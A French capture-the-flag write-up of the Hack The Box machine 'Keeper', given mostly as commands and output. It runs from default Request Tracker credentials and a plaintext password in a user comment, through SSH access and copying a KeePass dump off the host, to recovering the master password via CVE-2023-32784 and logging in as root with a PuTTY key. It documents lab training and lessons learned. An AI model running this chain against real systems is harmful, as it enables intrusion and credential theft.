Keeper : un ticket RT, un dump KeePass et une clé PuTTY vers root

#TL;DR

1. Un portail Request Tracker (RT) accessible sur tickets.keeper.htb, pris en identifiants par défaut (root / password).
2. Un ticket mentionne un crash dump de KeePass, retiré de RT mais laissé dans le home du technicien sur la machine cible.
3. Le profil utilisateur du même technicien révèle son mot de passe initial en clair dans un champ de commentaire administrateur.
4. Accès SSH direct avec ce mot de passe, récupération de l'archive contenant le dump KeePass et la base .kdbx.
5. Récupération du mot de passe maître (partiel) depuis le dump mémoire (CVE-2023-32784), base ouverte, clé privée SSH root trouvée dedans.

#Reconnaissance

$ nmap -sVC -T4 10.129.229.41

PORT   STATE SERVICE VERSION
22/tcp open  ssh     OpenSSH 8.9p1 Ubuntu 3ubuntu0.3 (Ubuntu Linux; protocol 2.0)
80/tcp open  http    nginx 1.18.0 (Ubuntu)
|_http-title: Site doesn't have a title (text/html).

Le port 80 ne montre rien d'intéressant à la racine. Un scan nuclei sur le vhost découvert ensuite révèle la vraie cible :

[request-tracker-panel] [http] [info] http://tickets.keeper.htb/rt/ ["4.4.4"]
[email-extractor] [http] [info] http://tickets.keeper.htb/rt/ ["sales@bestpractical.com"]

Request Tracker (RT) de BestPractical, version 4.4.4, exposé sur le sous-domaine tickets.keeper.htb.

#Énumération

$ echo "10.129.229.41 keeper.htb tickets.keeper.htb" | sudo tee -a /etc/hosts

#Identifiants par défaut

root / password

Les identifiants par défaut de Request Tracker fonctionnent directement, accès admin complet au panneau.

#Un ticket qui ne mène nulle part directement

Le ticket récemment ouvert (#300000, "Issue with Keepass Client on Windows") mentionne un crash dump de KeePass joint par l'utilisateur root, mais un commentaire plus tardif de la technicienne assignée indique :

I have saved the file to my home directory and removed the attachment
for security reasons.

Le fichier n'est donc plus récupérable depuis RT. Il faut chercher ailleurs un point d'entrée sur la machine.

#Foothold

#Mot de passe exposé dans le profil utilisateur

Le ticket est assigné à lnorgaard (Lise Nørgaard). En consultant sa fiche utilisateur RT (Admin > Users ou via le lien sur le ticket), puis "Edit" :

Le champ "Comments about this user", visible par un admin, contient :

New user. Initial password set to Welcome2023!

#Accès SSH

$ ssh lnorgaard@10.129.229.41

Le mot de passe fonctionne directement.

lnorgaard@keeper:~$ ls
RT30000.zip  user.txt
lnorgaard@keeper:~$ cat user.txt

L'archive RT30000.zip dans le home correspond exactement au fichier évoqué dans le ticket, retiré de RT mais jamais supprimé de la machine.

$ unzip RT30000.zip

inflating: KeePassDumpFull.dmp
extracting: passcodes.kdbx

#Élévation vers root

#Exfiltration et tentative de cassage classique

$ scp lnorgaard@10.129.229.41:RT30000.zip .
$ unzip RT30000.zip
$ keepass2john passcodes.kdbx > hash.txt
$ haiti $(cat hash.txt)

KeePass 2 (KDBX 3) / AES 256 enc. / AES-KDF / without keyfile [JtR: keepass]

$ john --wordlist=rockyou.txt hash.txt

Le cassage par dictionnaire classique est trop lent (KDF à 60000 rounds), sans résultat en un temps raisonnable. Direction le dump mémoire plutôt que le bruteforce.

#Récupération du mot de passe maître depuis le dump (CVE-2023-32784)

KeePass 2.x avant correctif laisse des fragments du mot de passe maître en mémoire à cause d'un nettoyage incomplet d'un SecureString de TextBox. Un dump mémoire du processus (comme celui du ticket) permet d'en reconstruire une grande partie.

$ dotnet run ../KeePassDumpFull.dmp

Password candidates (character positions):
Unknown characters are displayed as "●"
1.:     ●
2.:     ø, Ï, ,, l, `, -, ', ], §, A, I, :, =, _, c, M,
...
Combined: ●{ø, Ï, ,, l, `, -, ', ], §, A, I, :, =, _, c, M}dgrød med fløde

Le premier caractère et une partie du deuxième restent incertains (plusieurs candidats), mais le reste du mot de passe est récupéré en clair : dgrød med fløde.

$ keepassxc-cli open ../passcodes.kdbx <<< "rødgrød med fløde"

Error while reading the database: Invalid credentials were provided, please try again.

Plusieurs variantes de casse et de caractère de tête ont été nécessaires avant de tomber sur la bonne combinaison, le dump ne donnant qu'un ensemble de candidats pour les premiers caractères, pas la valeur exacte.

#Ouverture de la base et récupération de la clé root

Une fois la base ouverte (kpcli, plus pratique que keepassxc-cli pour naviguer dans les groupes) :

$ kpcli --kdb passcodes.kdbx

kpcli:/> cd passcodes/Network/
kpcli:/passcodes/Network> ls
=== Entries ===
0. keeper.htb (Ticketing Server)
1. Ticketing System
kpcli:/passcodes/Network> show -f 0

Title: keeper.htb (Ticketing Server)
Uname: root
 Pass: F4><3K0nd!
Notes: PuTTY-User-Key-File-3: ssh-rsa
       Encryption: none
       ...
       Private-MAC: b0a0fd2edf4f0e557200121aa673732c9e76750739db05adc3ab65ec34c55cb0

L'entrée contient une clé privée PuTTY complète pour root dans son champ Notes.

$ sudo apt install putty-tools
$ nano keeper.ppk          # coller le contenu de la clé PuTTY
$ puttygen keeper.ppk -O private-openssh -o id_rsa
$ chmod 600 id_rsa
$ ssh -i id_rsa root@keeper.htb

root@keeper:~# cat root.txt

#Findings

#Leçons apprises

• Un panneau d'administration d'outil tiers (RT, Jira, GLPI...) mérite systématiquement un test d'identifiants par défaut avant toute autre piste.
• Le header Referrer vérifié par RT contre son hostname interne peut donner un faux positif CSRF trompeur si on navigue par un vhost différent de celui configuré côté serveur ; toujours vérifier le hostname attendu par l'application plutôt que de chercher une vraie faille CSRF.
• Les pièces jointes supprimées d'un ticket ne sont pas nécessairement supprimées du disque : vérifier systématiquement les répertoires personnels des utilisateurs mentionnés dans un ticket.
• CVE-2023-32784 ne donne pas le mot de passe maître complet à coup sûr : les premiers caractères restent souvent ambigus (plusieurs candidats), il faut itérer sur les combinaisons plutôt que supposer un échec total de la méthode.
• Quand un outil .NET cible une version de SDK non installée, modifier directement le <TargetFramework> dans le .csproj avec sed est plus rapide que d'installer un SDK supplémentaire.
• kpcli est plus confortable que keepassxc-cli pour naviguer dans l'arborescence de groupes d'une base KeePass complexe.

#Références

• CVE-2023-32784 (KeePass master password memory disclosure)
• Request Tracker (BestPractical)